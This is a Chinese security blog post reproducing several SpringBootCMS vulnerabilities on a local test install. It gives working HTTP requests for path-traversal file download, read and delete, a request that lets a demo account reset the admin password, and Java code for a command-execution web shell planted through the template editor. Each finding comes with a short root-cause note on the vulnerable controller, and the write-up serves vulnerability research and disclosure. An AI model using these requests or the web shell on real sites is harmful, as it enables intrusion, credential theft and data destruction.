当前位置: 首页 > 技术干货 > SpringBootCMS漏洞复现分析

SpringBootCMS漏洞复现分析

发表于:2023-10-12 09:49 作者: 标准云 阅读数(2626人)

SpringBootCMS,极速开发,动态添加字段,自定义标签,动态创建数据库表并crud数据,数据库备份、还原,动态添加站点(多站点功能),一键生成模板代码,让您轻松打造自己的独立网站,同时也方便二次开发,让您快速搭建个性化独立网站,为您节约更多时间。

http://www.jrecms.com

环境搭建

修改 src/main/resources/application.properties 中对应的数据库地址,在本地创建数据库并导入根目录下的 sql 文件

image

运行 src/main/java/com/cms/App.java

image

漏洞复现分析

未授权任意文件下载

GET /common/file/download?fileKey=../../resources/application.properties HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: http://localhost:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

image

com.cms.controller.common.FileController#download

image

通过传过来的参数 fileKey​ 未经过任何过滤就拼接到读取文件的路径中,最后读取该文件并下载返回

越权修改管理员密码

系统中存在演示账号,演示账号的用户名和密码为 read/123456,演示用户在前端并不能操作相关功能,但是可以通过直接构造数据包,触发相对应的功能

POST /admin/admin/reset HTTP/1.1
Host: localhost:8888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8888/admin/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=7CD6B69DCC495750492D0D89B4713A52
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

id=1

image

成功修改了管理员 admin 的密码,修改为 123456

com.cms.controller.admin.AdminController#reset

image

com.cms.filter.PermissionFilter#doFilter

image

根本原因是没有将 reset 操作添加在过滤中,导致演示账号也可以执行重置密码的操作。

其他的操作就会有相关的提示

image

授权任意文件读取

构造链接

http://localhost:8888/admin/template/edit?directory=default/../../../resources/&fileName=application.properties

image


image

com.cms.controller.admin.TemplateController#edit

image

对传入的参数 directory 和 fileName 未进行任何处理就拼接到 filepath 中 读取并显示

授权任意文件修改可 getshell

查找其中不需要授权就可以访问到的路由对应的文件

http://localhost:8888/admin/template/edit?fileName=../../../../src/main/java/com/cms/controller/common/FileController.java

image

添加恶意代码,增加命令执行的路由文件

@RequestMapping("/exec")
public void exec(String command,HttpServletRequest request, HttpServletResponse response) throws Exception{
// 执行命令并获取输出结果
ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command("cmd", "/c", command);
Process process = processBuilder.start();
// 读取命令输出的结果
String output = "";
BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = inputReader.readLine()) != null) {
output +=line;
}
response.setHeader("Content",output);
}

重启项目后,发送路由信息

image

com.cms.controller.admin.TemplateController#update

image

漏洞存在的原因是因为在更新代码的时候,没有对代码内容进行校验,可任意修改代码,写入恶意代码就会触发命令执行

授权任意文件删除

构造数据包

GET /admin/database/delete?name=../../../../../test.txt HTTP/1.1
Host: localhost:8888
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=410D94FAA33FE9021AD6B0C3E842F9F9
Connection: close

image

com.cms.controller.admin.DatabaseController#delete

image

​​com.cms.utils.BackupUtils#delete

image

image